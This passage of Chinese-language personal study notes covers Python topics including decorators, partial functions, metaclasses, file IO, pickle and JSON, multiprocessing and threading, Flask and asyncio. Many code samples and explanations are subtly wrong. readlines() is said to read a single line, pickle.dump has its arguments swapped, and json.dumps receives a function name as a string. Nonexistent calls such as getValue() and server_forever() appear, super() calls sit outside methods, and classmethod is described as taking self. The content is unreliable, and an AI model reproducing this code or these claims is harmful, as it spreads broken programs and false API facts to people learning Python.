- 闭包:能够读取函数内部变量的函数(定义在函数内部的函数)
返回函数不要引用引起变化的局部变量
-
4.匿名函数:lambda <变量>:<表达式>
只是个表达式,可被变量引用
-
5.装饰器:在原有函数定义不需要改变下,增加新内容并返回函数的引用
def log(f):
@functools.wraps(f)
def wrapper(*args,**kw):
print('wrapper %s func'%f.__name__)
return f(*args,**kw)
return wrapper
@log
def now():
print('now')
其中,@log修饰 等价于 now = log(now)
- 2.原始函数的一些属性复制到装饰器函数
- import functools
- @functools.wraps(<func_params>)
-
6.偏函数:functools.partial(<method_name>,*args,**kw)
其中*args在前**kw在后
import functools
int('100',2) 输出4
int('100',base=2) 输出4
int2 = functools.partial(int,base=2) #默认int函数是10进制
int2('100')输出4
PS:
int2 = functools.partial(int,2)?
int2('100') 输出 TypeError,因为调用int2('100') 等价于 int(2,'100')
functools.partial源码
def partial(func, *args, **keywords):
def newfunc(*fargs, **fkeywords):
newkeywords = keywords.copy()
newkeywords.update(fkeywords)
return func(*args, *fargs, **newkeywords)
newfunc.func = func
newfunc.args = args
newfunc.keywords = keywords
return newfunc
2.10 使用模块🔗
2.11 面向对象编程🔗
2.12 面向对象高级编程🔗
-
1.动态绑定变量
和方法
from types import MethodType
def hao():
print('hh')
class A(object):
pass
a = A()
a.name='aa' #动态绑定变量,只作用当前实例
a.hao=MethodType(hao,a) #动态绑定方法,只作用当前实例
A.hao=hao #类的所有实例绑定方法
print(a.name)
-
2.使用__slots__
限制实例绑定的属性
class A(object):
__slots__=('name','age') #tuple类型,表示只允许添加name和age的属性
class A2(A):
pass
a = A()
a.name='a'
a.age='b'
a.sc='c'#AttributeError
a = A2()
a.sc = 'c' #子类,不受影响
#如果A2增加`__slots__=('sc')`那么A2将限制包括父类的name,age和sc,3个属性
-
3.@property
,修饰一个方法,用于属性直接可读操作,
并且生成@<方法名>.setter
进行直接可写操作。
在不用调用(set/get)方法下,直接操作属性并进行检查判断。(等价于动态绑定属性+属性检查)
class A(object):
@property
def score(self):
return self.__score
@score.setter
def score(self,value):
if not (isinstance(value,int)):
raise ValueError('score must be an integer!')
if (value<0 or value>100):
raise ValueError('score between 0 and 100!')
self.__score=value
#可以通过直接访问方式
a = A();
a.score=10
print(a.score)
a.score=101 #ValueError
-
4.多重继承
class A(object):
def run(self):
print('A')
def run1(self):
print('run1() A')
class B(object):
def run(self):
print('B')
class C(B,A):
pass
#执行
a = C()
a.run()
a.run1()
-
5.定制类,类中特殊函数覆写
__str__
: print(<类对象>)中打印的内容
__repr__
: 打印类对象的内容
__iter__
:设置为迭代对象用于for ... in循环
,实现__next__
方法
__getitem__
:跟获取数组下标一样获取数据项,<类对象>[0]、<类对象>[1]
<类对象>[:]、<类对象>[:2]
也可以切片对象,
那么需要判断处理isinstance(<变量>,slice)
__getattr__
:覆写,那么py会先根据这个方法尝试获取属性
__call__
:类对象可以作为函数调用使用,(PS: s是类对象,那么可以s()进行调用)
callable(<类实例>)
:判断类对象是否作为可调用的函数
-
6.枚举类
- 定义:
from enum import Enum
索引引用[]从1开始
Enum(<枚举类型名称>,(<枚举1>,<枚举2>))
class A(Enum):
枚举自定义派生类
from enum import Enum
w = Enum('weekly',('Sun','Mon','Tue','Wed','Thu','Fri','Sat'))
w(1) #输出 <weekly.Sun:1>
w(1).name #输出'Sun'
w(1).value #输出1
from enum import unique
@unique #防止重复值
class A(Enum):
Sun=0
Mon=1
Tue=2
Wed=3
Thu=4
Fri=5
Sat=6
A.Sun.name #输出'Sun'
A.Sun.value #输出0
-
7.使用元类
type(<类名>,(<父类>,[<父类> 0~n个]),dict(<方法名>=<绑定的方法>))
:动态生成class类
- metaclass
- 使用:
class <类名>(<父类>,metaclass=<metaclass类>)
其中metaclass=<metaclass类>
,用于生成<类名>实例
metaclass类
1.继承自type
2.实现__new__(cls, name, bases, attrs)
方法实现创建新的实例
cls:<metaclass类>
name:创建类的名字
base:创建类继承的父类集合
attr:创建类的属性/方法集合
class Model(type):
def __new__(cls,name,base,attr):
print(attr)
attr['ok']='model gen ok' #添加属性
attr['add']=lambda self,value: self.append(value) #添加方法
print(attr)
return type.__new__(cls,name,base,attr)
class Test(list,metaclass=Model):
pass
if(__name__=='__main__'):
a = Test()
print(a.ok)
a.add(1)
print(a)
-
8.super(<class_type>,<class_instance>)
调用父类函数
按照继承方法的顺序调用,称为MRO(Method Resolution Order)
class A(object):
super(A,self).__init__():
print('A')
class B(object):
super(B,self).__init__():
print('B')
class C(A,B):
super(C,self).__init__():
print('C')
C.mro() # <class C>,<class A>,<class B>
C()
#输出 B A C
#C()
#开始从C调用super()—>
#下一个指向A,在A中调用super()->
#下一个指向B,在B中调用super()是object
#最后,打印B->打印A->打印C
-
9.静态方法、类方法、实例方法
@staticmethod
静态方法 (类/实例)访问,不用写默认参数self,不能调用实例变量、类变量等
@classmethod
类方法,(类/实例)访问,需要有默认参数self,不能调用实例变量。
- 实例方法,实例访问,需要有默认参数self
2.13 错误、调试和测试🔗
2.14 IO编程🔗
-
1.文件读写
- 1.获取文件对象
open(<路径>,'r')
获取文件对象,标识符r=读,w=写 默认读取文本文件
- 2.读取文件
read()
一次性读取文件内容
read(size)
反复调用读取
readlines()
读取一行
- 3.关闭文件
close()
with open(<路径>,'r') as f: print(f.read())
会自动调用close(),不用自己调用
- 二进制文件
rb
标识符表示
- 字符编码,读取非UTF-8文件
open(<路径>,'r',encoding='gbk',error='ignore')
error='ignore'用于读取编码错误时,忽略处理
- 4.写文件
- 标识符:
w
写文本文件,wb
写二进制文件 wa
(append)追加形式写入(其他是覆盖方式)
write()
close()
写完需要关闭,也可以用with open(...) as f:
方式自动关闭
-
2.StringIO和BytesIO
from io import StringIO
f = StringIO() #内存中字符操作
f.write('hello ')
f.write('world')
f.getValue()# 'hello world'
while True:
s = f.readlines()
if(s==' '):
break
print(s.strip())#strip()去掉空格
from io import BytesIO
f = BytesIO()
f = BytesIO(b'\xe5\xad\x97\xe8\x8a\x82')
f.write('字节'.encode('utf-8'))#写入utf-8编码的字节
f.close()
f.read()
-
3.os模块(系统信息,创建目录)
import os
os.name
posix表示类Unit系统(Linux、Unix、Mac OS),nt表示windows
os.uname()
posix上提供显示系统信息
os.environ()
环境变量
os.environ().get(
PATH)
某个环境变量
os.path.abspath('.')
当前目录绝对路径
os.path.join('/User','deskDir')
目录下创建新目录
os.path.isdir('x')
是否目录
os.path.isfile('x')
是否文件
os.mkdir('/User/deskDir')
创建新目录
os.rmdir('/User/deskDir')
删除目录
os.path.split('/User/deskDir')
目录和最后一个/
的内容分离
os.path.splitext('/User/deskDir')
目录和文件扩展名
分离
os.rename('file.txt','newfile.txt')
文件重命名
os.remove('file.txt')
删除文件
[x for x in os.listdir('.') if os.path.isfile(x)]#过滤掉非文件内容
-
4.序列化
import pickle
d = [1,2,3]
#序列化
b=pickle.dumps(d) #生成序列化bytes
f = open('file.txt','wb')
pickle.dump(f,b) #生成序列化bytes,并写入到文件
f.close()
#反序列化
f.open('file.txt','rb')
pickle.loads(b) #反序列化bytes
pickle.load(f) #反序列化文件内容
f.close()
{} <--> dict
[] <--> list
"string" <--> str
1234.56 <--> int或float
true/false <--> True/False
null <--> None
import json
d = dict('name':'n','age':12)
j = json.dumps(d) #返回json
json.loads(j) #json转为类型
- class对象 json和反json
json.dumps(<class对象>,default=<转换函数>)
转json
json.loads(<json数据>,object_hook=<转换函数>)
反json
import json
def student2dict(stu):
return {'name':stu.name,'age':stu.age}
def dict2student(d):
return Student(d['name'],d['age'])
s = Student('a',22)
j = json.dumps(s,default='student2dict') #class对象转json
json.loads(j,object_hook=dict2student) #json->dict对象->转student对象
-
5.进程和线程
-
多进程
fork()
在类Unixt系统中,调用1次返回2次,分别是父进程返回和子进程返回。
getpid()
当前进程id
getppid()
获得父进程id
子进程返回0
父进程返回子进程id
import os
pid = os.fork() #Windows没有fork调用
if pid == 0 : #子进程
if not pid ==0 : #父进程
from multiprocessing import Process
import os
def run_child_proc(name):
print('name %s'%name)
if(__name__=='__main__'):
#子进程执行函数run_child_proc,args是dict类型所以加,
p = Process(target=run_child_proc,args=('test',)) #创建进程
p.start() #子进程开始启动
p.join() #等待子进程p执行完成后,用于进程协调同步
print('child proc closed')
from multiprocessing import Pool
import os,time
def run_child_proc(name):
time.sleep(1 * 1)
print('child proc name %s'%name,' pid:',os.getpid())
if(__name__=='__main__'):
print('parent Process pid = %s'%os.getpid())
p = Pool(3)
for i in range(3):
p.apply_async(run_child_proc,(i,))#多进程异步执行,进程池限制3个进程 默认4个
print('Wait')
p.close() #不允许添加新的进程
p.join() #等待进程全部执行完成
print(' All child proc closed! ')
- 子进程
subprocess
模块
- 进程间通信通过Queue、Pipes实现
-
多线程
import threading
def new_thread_run():
print('threading:%s'%threading.current_thread().name)
print('main thread:%s'%threading.current_thread().name)
#不要name,py会自动起名字
t = threading.Thread(target=new_thread_run,name='new_thread')
t.start()
t.join()
print('main thread:%s closed!'%threading.current_thread().name)
import threading,time
value=0
lock = threading.Lock() #获得锁对象
def changeValue():
global value
value=value+1
time.sleep(0.0001)
value=value-1
def new_thread_run():
lock.acquire() #获取锁
for i in range(1000):
changeValue()
print(threading.current_thread().name,'value',value)
lock.release() #释放锁
t1 = threading.Thread(target=new_thread_run)
t2 = threading.Thread(target=new_thread_run)
t1.start()
t2.start()
t1.join()
t2.join()
print(threading.current_thread().name,'value',value)
print('main thread closed !')
-
ThreadLocal:每个线程单独存储线程内部使用的变量
import threading
global_local = threading.local() #线程本地变量
def process_t():
print('thead: %s tag:%s'%(threading.current_thread().name,global_local.tag))
def new_thread_run(tag):
global_local.tag = tag
process_t()
t1 = threading.Thread(target=new_thread_run,args=('OK',))
t2 = threading.Thread(target=new_thread_run,args=('HAO',))
t1.start()
t2.start()
t1.join()
t2.join()
print('main thread closed !')
- 多任务模型,切换作业有代价,就是保存/恢复现场
- Nginx 支持异步IO的Web服务器
- 协程:Python语言中,单线程的异步编程模型
- 分布式进程:
multiprocessing
的子模块managers
支持
2.15 正则表达式🔗
import re
:导入re
模块
r
:正则表达式前面加r
忽略python中字符串的转义(PS:\\
== r\
,字符串中输入\
要转义)
re.match(<正则表达式>,<需要匹配的字符串>)
:匹配
re.compile(<正则表达式>)
:预编译
groups()
获得所有匹配的组
group(0)
默认匹配的组
group(1),group(2)
表示要提取的组1,2 正则表达式中用()
表示提取
- 正则表达式匹配过程(对于经常匹配的,预编译可以提高效率)
- 1.编译正则表达式,如果正则表达式不合法,报错。
- 2.用编译后的正则表达式去匹配字符串
2.16 内建模块🔗
- 1.
datetime
处理日期和时间标准库
from datetime import datetime
: datetime.now()获取现在时间
import datetime
: datetime.datetime.now()获取现在时间
- 2.
collections
集合标准库
- 3.
base64
- 4.
struct
解决bytes和其他数据类型转换的库
- 5.
hashlib
摘要算法库(MD5,SHA1),生成hash值
- 6.
hmac
: (数据+密钥)的方式生成摘要hash值
- 7.
itertools
:操作迭代对象的库
- 8.
contextlib
:上下文对象,提供一些文件资源释放的便捷操作
- 9.
urllib
:操作URL的库,http请求之类的
- 10.
xml
:xml操作
- 11.
HTMLParser
:解析Html,解析html中文本、图像等
2.17 第三方模块🔗
- 1.图像处理:切片、旋转、滤镜、模糊、调色板等
PIL
(python image library):仅支持python2.7
Pillow
:支持python3.x,+新特性
pip install pillow
安装
- 2.
requests
网络访问库
- 3.
chardet
编码检测库
- 4.
psutil
(process system utilies) 获取系统信息工具库
- 5.
virtualenv
建立隔离的运行环境
- 6.图形界面库
tkinter
:python内置的GUI编程库
tk
、wxWidgets
、Qt
、GTK
:第三方GUI库
- 海龟绘图库(Turtle Graphics):python内置,通过指挥一只小海龟在屏幕上绘图
- 起源 LOGO语言:专门给儿童学习编程的语言,特色是通过一只小海龟绘图。
import turtle import *
2.18 网络编程🔗
- TCP/UDP编程
import socket
引入socket库
2.19 电子邮件🔗
- SMTP 发送邮件协议(内置模块)
import smtplib
:发送邮件模块
import email
:构造邮件模块
- POP3 收取邮件协议(内置模块)(POP协议,最新版本号3)
- 1.
import poplib
:收邮件模块
- 2.
import email
:解析原始文本,构成邮件对象
2.20 数据库🔗
(python中,DB-API通用,数据库操作接口类似)
- SQLite(内置模块)
- MySQL
- 1.安装MySQL
- windows下,安装选择utf-8
- linux,mac os下,需要编辑配置文件修改编码,改为utf-8。
配置文件默认存放在/etc/my.cnf或者/etc/mysql/my.cnf
- PS:MySQL版本>=5.5.3,编码可设置为utf-8mb4(和utf-8兼容),
还可支持Unicode最新标准,可显示emoji字符
- 2.安装MySQL驱动
pip install mysql-connector-python --allow-external mysql-connector-python
或pip install mysql-connector
sqlalchemy
:第三方ORM(对象关系映射)框架
2.21 Web开发🔗
-
JSP:html+java的脚步代码形式
-
HTML
- HTML 网页
- CSS(Cascading Style Sheets)层级样式表
- JS 执行脚本
-
Web应用流程
- 1.浏览器发送http请求。
- 2.服务端接收请求,生成html文档。
- 3.服务端把html文档,作为Body发送给浏览器。
- 4.浏览器响应,取出Body中的html文档并显示。
- 现存Http服务器(Apache、Nginx、Lighttpd等):用于接收用户请求,从文件读取html,响应返回。
- Python用于动态生成html文档
-
WSGI接口(Web Server GateWay Interface)
import wsgiref
内置的WSGI服务器
- ctrl + c终止服务器
#Web应用程序WSGI处理函数
#包含2个参数:environ包含http请求信息的dict对象,start_response发送HTTP响应的函数
#start_response函数包含2个参数:
#1.响应码,2.一组list表示的Http Header,使用str表示的tuple类型
#hello.py
from wsgiref.simple_server import make_server
def application(environ,start_response):
start_response('200 OK',[('Content-Type','text/html')]) #响应Header
return [b'<html><body>hello world</body></html>'] #响应Body
httpd = make_server('',8000,application) #1.ip地址,2.端口,3.处理函数
httpd.server_forever()#监听请求
-
WSGI 第三方框架
pip install flask #安装flask
#flask默认在5000端口上
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
return '<h>hello world</h>'
@app.route('/login',methods=['GET']) #/login选项框
def login():
return '''<form action="/login" method="post">
<p><input name="username"></p>
<p><input name="password"></p>
<p><button type="submit">Sign In</button></p>
</form>'''
#flask通过request.form['name']来获取表单的内容
@app.route('/login',methods=['POST'])#/login输入进行post请求
def loginP():
if request.form['username']=='admin' and request.form['password']=='123456':
return '<h>hello admin</h>'
return '<h>login error!</h>'
if(__name__=='__main__'):
app.run()
- Django:全能型Web框架
- web.py:小巧的Web框架
- Bottle:和Flask类似的Web框架
- Tornado:Facebook开源异步Web框架
-
html模板:分离html和业务逻辑 MVC模式
- 模板:独立html文件,内部传入数据变量的格式
- flask
`pip install jinja2`
- `{{name}}`:html中表示变量name
- `{%...%}`:html中`...`表示指令写的地方
#模板html存放在目录templates,templates和.py运行文件同级目录下
#render_template() 显示模板
#index.html
<html>
<body>
<h>hello world</h>
</body>
</html>
#login.html
<html>
<body>
{% if message %}
<p>{{message}}</p>
{% endif %}
<form action="/login" method="post">
<p><input name="username" value="{{username}}"></p>
<p><input name="password"></p>
<p><button type="submit">Sign In</button></p>
</form>
</body>
</html>
#login_ok.html
<html>
<body>
<h>hello {{name}}</h>
</body>
</html>
#index.py
from flask import Flask
from flask import request
from flask import render_template
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
return render_template('index.html')
@app.route('/login',methods=['GET'])
def login():
return render_template('login.html')
@app.route('/login',methods=['POST'])
def loginP():
if request.form['username']=='admin' and request.form['password']=='123456':
return render_template('login_ok.html',username='admin')
else:
return render_template('login.html',message='Error username or password!',username=request.form['username'])
if(__name__=='__main__'):
app.run()
- {{name}} 变量
- {%...%} 指令
2.22 异步IO🔗
-
异步IO模型:利用主线程消息循环。执行IO操作时,只是发出IO指令不等待结果,继续执行其他代码,等待
IO通知后再来处理。
-
协程:一个线程执行多个函数之间不按顺序调用,切换调用(函数调用一半切换到另一个函数执行)
- python中通过generator实现了协程。当next(generator),
对生成generator函数进行中断处理,然后执行其他函数
#同一个线程内,边写边读
def read():
r = ''
while True:
read = yield r
if read:
print('read =',read)
def write(r):
r.send(None)
i=1
while i<10:
print('write =',i)
r.send(i)
i=i+1
r = read()
write(r)
-
asyncio:内置异步IO支持
@asyncio.coroutine
generator标记为coroutine
yield from <coroutine>
切换协程
asyncio.get_event_loop()
消息循环
loop.run_until_complete(<task()>或asyncio.wait(<tasks>))
tasks=(task(),task())
import threading
import asyncio
@asyncio.coroutine
def hello():
print('Hello world %s!'%threading.currentThread())
yield from asyncio.sleep(1) #切换到其他协程延时1秒
print('Hello again %s!'%threading.currentThread())
loop = asyncio.get_event_loop() #消息循环
tasks=[hello(),hello()]
loop.run_until_complete(asyncio.wait(tasks)) #或者loop.run_until_complete(hello())运行一个
loop.close()
输出:
Hello world <_MainThread(MainThread, started 680)>!
Hello world <_MainThread(MainThread, started 680)>!
#暂停1秒后显示下面
Hello again <_MainThread(MainThread, started 680)>!
Hello again <_MainThread(MainThread, started 680)>!
async/await
Python3.5以后新的语法
@asyncio.coroutine
替换为async
yield from
替换为await
import threading
import asyncio
async def hello():
print('Hello world %s!'%threading.currentThread())
await asyncio.sleep(1) #切换到其他协程延时1秒
print('Hello again %s!'%threading.currentThread())
loop = asyncio.get_event_loop() #消息循环
tasks=[hello(),hello()]
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
aiohttp
:基于asyncio实现的HTTP框架
import asyncio
from aiohttp import web #pip install aiohttp
async def index(request):
await asyncio.sleep(0.5)
return web.Response(body= ('hello, %s!' % request.match_info['name']))
async def init(loop):
app = web.Application(loop=loop)
app.router.add_route('GET','/{name}',index)
ser =await loop.create_server(app.make_handler(),'localhost',8000)
print('Server started at http://localhost:8000 ...')
return ser
loop = asyncio.get_event_loop()
loop.run_until_complete(init(loop))
loop.run_forever()